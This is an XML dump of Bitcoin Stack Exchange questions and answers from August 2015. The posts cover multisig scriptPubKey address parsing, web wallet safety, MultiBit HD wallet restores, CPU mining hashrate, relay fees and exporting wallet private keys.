  <row Id="39044" PostTypeId="1" CreationDate="2015-08-11T14:57:40.757" Score="1" ViewCount="626" Body="&lt;p&gt;I used to think the addresses array into the scriptPubKey (vout) is populated starting from the script, but examining old-fashion multisig transactions, I discovered something made my assumption wrong:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given this three vouts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;value&quot; : 0.01000000,&#xA;    &quot;n&quot; : 0,&#xA;    &quot;scriptPubKey&quot; : {&#xA;        &quot;asm&quot; : &quot;1 04cc71eb30d653c0c3163990c47b976f3fb3f37cccdcbedb169a1dfef58bbfbfaff7d8a473e7e2e6d317b87bafe8bde97e3cf8f065dec022b51d11fcdd0d348ac4 0461cbdcc5409fb4b4d42b51d33381354d80e550078cb532a34bfa2fcfdeb7d76519aecc62770f5b0e4ef8551946d8a540911abe3e7854a26f39f58b25c15342af 2 OP_CHECKMULTISIG&quot;,&#xA;        &quot;hex&quot; : &quot;514104cc71eb30d653c0c3163990c47b976f3fb3f37cccdcbedb169a1dfef58bbfbfaff7d8a473e7e2e6d317b87bafe8bde97e3cf8f065dec022b51d11fcdd0d348ac4410461cbdcc5409fb4b4d42b51d33381354d80e550078cb532a34bfa2fcfdeb7d76519aecc62770f5b0e4ef8551946d8a540911abe3e7854a26f39f58b25c15342af52ae&quot;,&#xA;        &quot;reqSigs&quot; : 1,&#xA;        &quot;type&quot; : &quot;multisig&quot;,&#xA;        &quot;addresses&quot; : [&#xA;            &quot;1AJbsFZ64EpEfS5UAjAfcUG8pH8Jn3rn1F&quot;,&#xA;            &quot;1A8JiWcwvpY7tAopUkSnGuEYHmzGYfZPiq&quot;&#xA;        ]&#xA;    }&#xA;}&#xA;&#xA;{&#xA;    &quot;value&quot; : 0.00000002,&#xA;    &quot;n&quot; : 0,&#xA;    &quot;scriptPubKey&quot; : {&#xA;        &quot;asm&quot; : &quot;1 0351efb6e91a31221652105d032a2508275f374cea63939ad72f1b1e02f477da78 00f2b7816db49d55d24df7bdffdbc1e203b424e8cd39f5651ab938e5e4a193569e 2 OP_CHECKMULTISIG&quot;,&#xA;        &quot;hex&quot; : &quot;51210351efb6e91a31221652105d032a2508275f374cea63939ad72f1b1e02f477da782100f2b7816db49d55d24df7bdffdbc1e203b424e8cd39f5651ab938e5e4a193569e52ae&quot;,&#xA;        &quot;reqSigs&quot; : 1,&#xA;        &quot;type&quot; : &quot;multisig&quot;,&#xA;        &quot;addresses&quot; : [&#xA;            &quot;1NdB761LmTmrJixxp93nz7pEiCx5cKPW44&quot;&#xA;        ]&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which comes respectively from transactions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;60a20bd93aa49ab4b28d514ec10b06e1829ce6818ec06cd3aabd013ebcdc4bb1&#xA;274f8be3b7b9b1a220285f5f71f61e2691dd04df9d69bb02a8b3b85f91fb1857&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed that they share the same script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OP1 OPDATA OPDATA OP2 OP_CHECKMULTISIG&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but with different results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first one transaction you can see two addresses in the addresses array, in the second one you can see only an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, given this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;value&quot; : 0.00000001,&#xA;    &quot;n&quot; : 22,&#xA;    &quot;scriptPubKey&quot; : {&#xA;        &quot;asm&quot; : &quot;1 6565292c66696c653d7379732e737464657272290a0a69662046616c73653a0a202020207072696e742870726f78792e73656e647261777472616e73616374696f 6e287369676e65645f74785b27686578275d29290a656c73653a0a202020207072696e74287369676e65645f7478290a0000000000000000000000000000000000 2 OP_CHECKMULTISIG&quot;,&#xA;        &quot;hex&quot; : &quot;51416565292c66696c653d7379732e737464657272290a0a69662046616c73653a0a202020207072696e742870726f78792e73656e647261777472616e73616374696f416e287369676e65645f74785b27686578275d29290a656c73653a0a202020207072696e74287369676e65645f7478290a000000000000000000000000000000000052ae&quot;,&#xA;        &quot;type&quot; : &quot;multisig&quot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which comes from transaction 4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No reqsigs nor addresses comes in the parsed transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I think I am a little confused on how addresses array is populated.&lt;/p&gt;&#xA;" OwnerUserId="27877" LastActivityDate="2023-04-24T23:52:24.610" Title="Understanding basic Bitcoin Transactions: the scriptPubKey.addresses array" Tags="|multi-signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39045" PostTypeId="1" AcceptedAnswerId="39058" CreationDate="2015-08-11T15:39:32.900" Score="3" ViewCount="1116" Body="&lt;p&gt;I created a wallet on &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is blockchain.info is not listed on &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;&quot;Choose your Bitcoin wallet&quot;&lt;/a&gt;? Is the blockchain.info wallet considered safe?&lt;/p&gt;&#xA;" OwnerUserId="27880" LastEditorUserId="5406" LastEditDate="2015-08-11T16:00:07.313" LastActivityDate="2015-09-24T18:49:38.397" Title="Is it considered safe to create a wallet on blockchain.info?" Tags="|wallet|blockchain.info|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39046" PostTypeId="1" CreationDate="2015-08-11T16:37:44.713" Score="6" ViewCount="1036" Body="&lt;p&gt;What is a &lt;strong&gt;wallet&lt;/strong&gt; in the context of Bitcoin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are wallets used for? &#xA;What relation do wallets have to other concepts such as addresses, private-keys, client-software, and Bitcoin balances?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2019-02-13T18:49:57.973" Title="What is a Bitcoin wallet?" Tags="|wallet|terminology|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39047" PostTypeId="2" ParentId="39044" CreationDate="2015-08-11T19:28:59.220" Score="1" Body="&lt;p&gt;tx: 60a20bd93aa49ab4b28d514ec10b06e1829ce6818ec06cd3aabd013ebcdc4bb1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_1&#xA;04cc71eb[...cut...]0d348ac4 // this is pubkey of 1AJbsFZ64EpEfS5UAjAfcUG8pH8Jn3rn1F&#xA;0461cbdc[...cut...]c15342af // this is pubkey of 1A8JiWcwvpY7tAopUkSnGuEYHmzGYfZPiq&#xA;OP_2&#xA;OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to spend this transaction one should sign it with one-of-two privkeys&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;tx: 274f8be3b7b9b1a220285f5f71f61e2691dd04df9d69bb02a8b3b85f91fb1857&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_1&#xA;0351efb6[...cut...]77da78 // this is public key of 1NdB761LmTmrJixxp93nz7pEiCx5cKPW44&#xA;00f2b781[...cut...]93569e // this is not a public key!&#xA;OP_2&#xA;OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;tx: 4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read about this transaction here: &#xA;&lt;a href=&quot;http://www.righto.com/2014/02/ascii-bernanke-wikileaks-photographs.html&quot; rel=&quot;nofollow&quot;&gt;http://www.righto.com/2014/02/ascii-bernanke-wikileaks-photographs.html&lt;/a&gt; [16]&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-08-11T19:28:59.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39048" PostTypeId="2" ParentId="39046" CreationDate="2015-08-11T20:46:24.050" Score="3" Body="&lt;p&gt;Bitcoin is like digital cash.&#xA;A bitcoin address is like an email account but for cash. &#xA;A bitcoin address has a private key and a public key.&#xA;The public key is like your email (joesmith@gmail.com)&#xA;The private key is like your password to access your email (&lt;strong&gt;&lt;em&gt;mypassword&lt;/em&gt;&lt;/strong&gt;)&#xA;The main difference here is that a bitcoin private key holds all the information to access the account. So with a private key you can get the public key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bitcoin wallet holds the private keys to bitcoin addresses - so instead of a wallet, think of it as a key chain with keys to different safes.&#xA;Wallets are used as an interface where you can access the bitcoins in your addresses without having to enter the private key in each time.&#xA;It makes the user experience a lot easier. So instead of entering in your private key each time you just might enter in a pin code instead.&#xA;Wallets also let you easily see the balance of each address, add and remove accounts (addresses) and send and receive bitcoin.&#xA;This is a very basic explanation but a good one to start with.&#xA;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="26877" LastEditorUserId="26877" LastEditDate="2015-08-11T20:56:58.387" LastActivityDate="2015-08-11T20:56:58.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39049" PostTypeId="1" CreationDate="2015-08-11T21:30:00.430" Score="1" ViewCount="3262" Body="&lt;p&gt;I could not find an answer to this: &lt;a href=&quot;https://bitcoin.stackexchange.com/search?q=multibit+hd+restore+wallet+password&quot;&gt;https://bitcoin.stackexchange.com/search?q=multibit+hd+restore+wallet+password&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked about restoring a wallet from &lt;code&gt;mbhd-*.zip.aes&lt;/code&gt; files, and someone said that there are two different types of files, one of using wallet words, and one of them using only the password. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/38966/3267&quot;&gt;https://bitcoin.stackexchange.com/a/38966/3267&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do you restore a MultiBit HD wallet from a &lt;code&gt;*.wallet.aes&lt;/code&gt; file using only a password? There isn't an option in MultiBit for selecting a file during restore.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Still no answer to this specific question, only avoidance. Why can't someone just copy the .wallet.aes file into the location MultiBit HD looks for it?&lt;/p&gt;&#xA;" OwnerUserId="3267" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2017-03-23T17:10:44.807" Title="How do I restore a Multibit HD wallet from a backup using only a password?" Tags="|wallet|multibit|wallet-security|multibit-hd|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39050" PostTypeId="1" AcceptedAnswerId="39051" CreationDate="2015-08-12T01:23:03.787" Score="3" ViewCount="1747" Body="&lt;p&gt;I'm curious how many hashes per sec my cpu is able to perform, is there some way to check this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38863/about-traditional-bitcoin-mining&quot;&gt;This is a follow-up to this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6888" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-03-15T14:51:06.870" Title="How to tell how many hashes/sec the bitcoin core app on osx is running?" Tags="|bitcoin-core|hashpower|solo-mining|cpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39051" PostTypeId="2" ParentId="39050" CreationDate="2015-08-12T02:24:40.817" Score="3" Body="&lt;p&gt;Most CPUs will do a few megahash per second, which is completely worthless for anything other than testing and has been for several years now. It may be possible to improve performance in the future as Skylake Intel x86 processors include specific instructions for SHA256, but only by a few percent. Even with improvements it is a waste of time and power attempting to use anything but the most efficient dedicated hardware. A large portion of ASIC miners are effectively obsolete due to their power requirements outstripping their output, and they are orders of magnitude more efficient than mining on a CPU. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-08-12T14:15:57.357" LastActivityDate="2015-08-12T14:15:57.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39052" PostTypeId="2" ParentId="39044" CreationDate="2015-08-12T07:37:21.007" Score="1" Body="&lt;p&gt;Looks like it's related to &#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/pubkey.h#L48&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/pubkey.h#L48&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I've understand (also thanks to #bitcoin @ freenode users) the pubkeys I was trying to decode didn't match this check, so, for the records: in the examples mentioned, the addresses array (and the reqSigs int) is populated only when the first byte of the pubkey match the checks for the relative length (compressed or not).&lt;/p&gt;&#xA;" OwnerUserId="27877" LastActivityDate="2015-08-12T07:37:21.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39053" PostTypeId="2" ParentId="18033" CreationDate="2015-08-12T07:46:17.960" Score="0" Body="&lt;p&gt;This is in addition to Dan K's answer. Since he wrote it there is a new field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;relayfee: The relay fee is also the transaction fee, but it refers to a different use than what you may know. A transaction fee is included with a transaction to encourage and reward miners for including the transaction in the blockchain. It refers to the minimum fee amount that other clients on the peer-to-peer network require in order to forward transactions to other peers. This fee is in place in order to prevent the broadcast and propogation of DDoS-like spam transactions. The relay fee is coded in a different place than the transaction fee in Bitcoin. In the past, it has also been set at a different amount than the transaction fee. For a good portion of recent Bitcoin history, the minimum transaction fee used by the Bitcoin client and by most miners was 0.0005 BTC per kB, but the minimum relay fee was coded at 0.0001 BTC. The transaction fee was then lowered, bringing them in sync.&lt;/p&gt;&#xA;" OwnerUserId="21268" LastActivityDate="2015-08-12T07:46:17.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39054" PostTypeId="1" AcceptedAnswerId="39055" CreationDate="2015-08-12T08:29:01.860" Score="2" ViewCount="99" Body="&lt;p&gt;From what I understand change addresses are automatically generated when you use sendtoaddress but what I don't understand is why these change addresses don't become automatically associated with the sending account. What is the reason for this?&lt;/p&gt;&#xA;" OwnerUserId="27889" LastActivityDate="2015-08-12T08:38:34.230" Title="Why are change addresses not associated with an account in your wallet?" Tags="|change|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39055" PostTypeId="2" ParentId="39054" CreationDate="2015-08-12T08:38:34.230" Score="5" Body="&lt;p&gt;Bitcoin Core's wallet interprets Bitcoin transactions as payments. A payment is sending money from one entity to another, and is independent from what exact coins were sent and how much change was given back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have a transaction which spends a coin of yours A, and sends it to addresses X and Y, with X being an address of yours, the payment is assumed to have amount A - (value of coin sent to X), and to be going to Y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X is not associated with an account because the software does not expect &lt;em&gt;payments&lt;/em&gt; to it, only a single transaction output which is a low-level detail of how one particular payment occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, because of this, and various other confusing parts of the accounts system and their inability to be used in a best practices way, they are deprecated and will be reduced to just address labels in a future version.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-08-12T08:38:34.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39056" PostTypeId="2" ParentId="26948" CreationDate="2015-08-12T10:52:22.303" Score="1" Body="&lt;p&gt;Although this is rather old, I thought I should at least provide my knowledge on this - although it shows &quot;0&quot; blocks of transaction history, and continually states that it is catching up, it is however up to date - depending on the circumstances. First, you need to open &quot;checkpoints.cpp&quot; and remove all the checkpoints in the file (they'll be somewhere in the first 20 lines, it's fairly self explanatory), and create one checkpoint at 0 with the genesis block hash - the genesis block checkpoint. After you've done that, rebuild both clients, connect them, and instead of using minerd (or equivalent), instead use &quot;setgenerate&quot; through the console for at least 1 block. After that 1 block, you should be able to use minerd (or equivalent). Hope this helps for you&lt;/p&gt;&#xA;" OwnerUserId="27891" LastActivityDate="2015-08-12T10:52:22.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39057" PostTypeId="2" ParentId="39049" CreationDate="2015-08-12T11:03:23.080" Score="4" Body="&lt;p&gt;MultiBit HD dev here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mbhd-*.zip.aes backup files are encrypted using an AES key derived from the wallet words. Hence you need your wallet words to do a restore from one of these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet that is opened normally in MultiBit HD is encrypted with your password. This is the *.wallet.aes file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also restore just the transactions using only your wallet words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot do an 'Open wallet' specifying a location because the wallets are stored in specific directories created with no user input. We found in MultiBit Classic that users would lose wallets simply because they put them 'somewhere' and then forgot where they had stored it.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-08-12T11:03:23.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39058" PostTypeId="2" ParentId="39045" CreationDate="2015-08-12T13:21:36.227" Score="1" Body="&lt;p&gt;Web wallets in general don't really make sense by bitcoin principles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to not make this into a service review: the wiki is managed in a git repository at guthub. Discussions happen there before changes are made. One such discussion happened here: &lt;a href=&quot;https://github.com/bitcoin-dot-org/bitcoin.org/pull/663&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin-dot-org/bitcoin.org/pull/663&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there may have been newer pull requests in the meantime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: per request, the gist of above link, the complaints about bc.i are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bugs and losses: BC.i has suffered from concerning issues during the&#xA;  past year (e.g. iOS denomination bug, weak key stretching, sizeable&#xA;  number of users losing funds, and more issues I haven't verified yet)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Backup/Password Security: BC.i hasn't adopted security features which&#xA;  are slowly becoming standard in other wallets (e.g. BIP32, random&#xA;  passphrases, backup on setup, rotating addresses, 2FA by default).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Transparency: Source code of the app has been reset or not updated&#xA;  repeatedly, making bitcoin.org often relay the false claim that the&#xA;  app is open-source.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2015-09-24T18:49:38.397" LastActivityDate="2015-09-24T18:49:38.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39059" PostTypeId="2" ParentId="37819" CreationDate="2015-08-12T13:56:03.603" Score="2" Body="&lt;p&gt;I believe the EUR / USD conversions are preformed by the bank with which Bitstamp works. They have conversion rates which don't appear to be market-driven, but are set to a fixed rate that includes the bank's fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exchange rates link provided on the website leads here:&#xA;&lt;a href=&quot;http://www.raiffeisen.si/pripomocki/menjalniski-tecaj/&quot; rel=&quot;nofollow&quot;&gt;http://www.raiffeisen.si/pripomocki/menjalniski-tecaj/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27892" LastEditorUserId="5406" LastEditDate="2015-08-13T10:12:52.247" LastActivityDate="2015-08-13T10:12:52.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39060" PostTypeId="1" CreationDate="2015-08-12T17:51:44.990" Score="3" ViewCount="622" Body="&lt;p&gt;I've used a few different apps to create wallets and have decided to narrow down to a single web-based wallet software.  Is there some way that I can take the addresses from my other apps and import them to my new favorite service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not concerned about moving currently &quot;owned&quot; value, but rather leaving an orphaned address out there.  I'd hate for someone to send coins to an address that I can no longer access because I've uninstalled a particular app from a particular computer.&lt;/p&gt;&#xA;" OwnerUserId="21448" LastActivityDate="2015-08-12T22:30:18.397" Title="Consolidate to one wallet service" Tags="|wallet|address|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39061" PostTypeId="2" ParentId="39060" CreationDate="2015-08-12T22:21:57.477" Score="2" Body="&lt;p&gt;I will prefix this answer with the statement &amp;quot;Don't use a web wallet&amp;quot;, but since your question explicitly states you want to use one, i'll leave my ideals at the door.&lt;/p&gt;&#xA;&lt;p&gt;(Side note: Coinbase lets you use their &amp;quot;vault&amp;quot; in multisig mode, where you control the private keys yourself. Withdrawals take 48 hours to confirm, so perhaps it isn't ideal for you, but consider solutions where you retain control of your keys. I am in no way affiliated with Coinbase, other than using their service myself.)&lt;/p&gt;&#xA;&lt;p&gt;Usually most wallets have an &amp;quot;Export private keys&amp;quot; feature, and  an &amp;quot;import&amp;quot; feature included. Which wallets in particular are you using?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4203/how-can-i-export-the-private-key-for-an-address-from-the-satoshi-client&quot;&gt;This question&lt;/a&gt; indicates the following steps for Bitcoin QT:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;To export a private key from your Satoshi bitcoin-qt client:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;launch your bitcoin client as usual and wait for it to load the blockchain and start up&lt;/li&gt;&#xA;&lt;li&gt;click on 'help' in the menu bar (top right)&lt;/li&gt;&#xA;&lt;li&gt;click on 'debug window'&lt;/li&gt;&#xA;&lt;li&gt;select the 'console' tab&lt;/li&gt;&#xA;&lt;li&gt;type: walletpassphrase &amp;quot;your walletpassphrase here&amp;quot; 600&lt;/li&gt;&#xA;&lt;li&gt;type: dumpprivkey [your public key here]&lt;/li&gt;&#xA;&lt;li&gt;this will return the private key, you can copy it now; ensure you clear your clipboard/history afterwards&lt;/li&gt;&#xA;&lt;li&gt;type: walletlock&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For MultiBit, &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_exportingPrivateKeys.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;This page&lt;/a&gt; describes the steps to export:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In the 'Wallets' side panel choose the wallet you want to export the private keys for.&lt;/p&gt;&#xA;&lt;p&gt;Select the menu option 'Tools | Export Private Keys'. The 'Export Private Keys' screen appears.&lt;/p&gt;&#xA;&lt;p&gt;By default, the private keys file is called the same as your wallet file, only with an extension 'key' rather than wallet. You can see this in the following screenshot: [redacted]&lt;/p&gt;&#xA;&lt;p&gt;If you want to output the private key file to a different directory or filename click on the 'Export to. . .' button. A file chooser opens and you can select the file to save to.&#xA;It is strongly recommended that you password protect your private key export files. To do this, click on the 'Password protect export file' radio button.&lt;/p&gt;&#xA;&lt;p&gt;Enter the password you want to use in the 'Password' field and then repeat the same password in the 'Repeat password' field. If they match you get a little green tick on the right hand side.&lt;/p&gt;&#xA;&lt;p&gt;To output the private keys to the output file specified, click on the button 'Export private keys'. The private key file is written and a success message appears. If the export of the private key file fails for any reason the error message is given on screen.&lt;/p&gt;&#xA;&lt;p&gt;After the export file is written, it is then verified by reading the file back in again and checking the keys in the file match the keys in the wallet. A verification message is given if this is successful.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If you can indicate which wallet you're using, I can add the steps for exporting to this post. Additionally, if you want to import into a new service, you will first need to determine whether your wallets are hierarchical deterministic (HD). If so, the &amp;quot;private keys&amp;quot; are in reality a single key, which is used (in effect) as a seed for the entire set of keys in your wallet (theoretically infinite). If your web wallet supports HD key imports, you're all set, otherwise you're going to need to figure out how to extract the private keys for each public key you used, and export those.&lt;/p&gt;&#xA;" OwnerUserId="27899" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-08-12T22:30:18.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39062" PostTypeId="2" ParentId="39050" CreationDate="2015-08-12T23:05:38.043" Score="6" Body="&lt;p&gt;Yes Erik, the mining feature is still built-in and you can check how many hashes your CPU can perform. &lt;strong&gt;Although it's pointless and you cannot earn anything, it is still a fun experiment that people like to try.&lt;/strong&gt; If you have a bitcoin core installed and synced with the network, you can just simply open the &lt;code&gt;command console&lt;/code&gt; and type in and enter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;setgenerate true&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will initiate your CPU and will start mining. &#xA;You can then get your hashrate by typing in &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getmininginfo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your hashrate will be shown in integer format and you should see a number like 1-3 million hashes per second.&#xA;To turn off the mining, because you will just be wasting energy type in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;setgenerate false&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-08-12T23:05:38.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39064" PostTypeId="1" CreationDate="2015-08-13T02:27:23.377" Score="2" ViewCount="133" Body="&lt;p&gt;What order does Bitcoin core place the inputs it spends in? Is it random? Is it sorted by anything? What, if anything, can you tell about the originator of a transaction by the input ordering?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2016-04-03T08:17:12.890" LastActivityDate="2016-04-03T08:17:12.890" Title="What order does Bitcoin Core place the inputs it spends in?" Tags="|bitcoin-core|coin-selection|transaction-input|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39066" PostTypeId="1" CreationDate="2015-08-13T04:20:49.700" Score="2" ViewCount="313" Body="&lt;p&gt;so i wanted to test these for somewhat educational purposes and maybe make some profit along (highly unlikely), I have downloaded bitcoin core, and synced it completly, started a local p2pool pool, and connected a bunch of PC and macs to it through GUIminer, the strange thing is, CPU even with much lower Hash rate, find more shares, also Intel graphics had more shares and accepted shares, with only about 3.9 MH/s, and p2pool local hashrate is always 0 H/s even after running the miners for 5-6 hours, why is that? is there someting wrong with GUIminer, I have tested CGminer as well, waited for 10 minutes but still no change on p2pool local hashrate, all connect through 127.0.0.1:9332, all related ports are opened.&#xA;p2pool version is 14.0 and I have followed the instructions  here &lt;a href=&quot;http://p2pool.in&quot; rel=&quot;nofollow&quot;&gt;http://p2pool.in&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27901" LastEditorUserId="27901" LastEditDate="2015-08-13T04:37:00.503" LastActivityDate="2015-08-13T04:37:00.503" Title="p2pool not showing hashrate" Tags="|p2pool|guiminer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39067" PostTypeId="1" AcceptedAnswerId="39082" CreationDate="2015-08-13T04:27:40.463" Score="2" ViewCount="765" Body="&lt;p&gt;Will your shares be lost if you restart p2pool before payout, or is there a way to change the pool setting without takng it down?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure about the wallet address and I want to change it.&lt;/p&gt;&#xA;" OwnerUserId="27901" LastEditorUserId="2306" LastEditDate="2015-08-13T12:52:06.063" LastActivityDate="2015-08-14T02:13:55.810" Title="Will your shares be lost if you restart p2pool before the payout?" Tags="|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39068" PostTypeId="1" CreationDate="2015-08-13T04:37:17.970" Score="1" ViewCount="446" Body="&lt;p&gt;GUIminer doesn't work with certain CPU through the open CL, there is a specific error with core i3 3217 CPU, the internal GPU on them work well, but when trying to run it through CPU it gives IO error - 1, tolerance 2.&#xA;and on macs, it works on most chips, but on certain chips it freeze on the difficulty indicator, and it takes all the processing power, but there is no outcome, i might try downloading a different miner and working it through the guiminer, like the phoenix or the cgminer, instead of the open cl miner, I have tried mac miner, but the OS version of the macs i was working on were 10.6 and mac miner had some problems with that.&lt;/p&gt;&#xA;" OwnerUserId="27901" LastActivityDate="2017-07-03T09:53:45.573" Title="problems with GUIminer" Tags="|guiminer|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
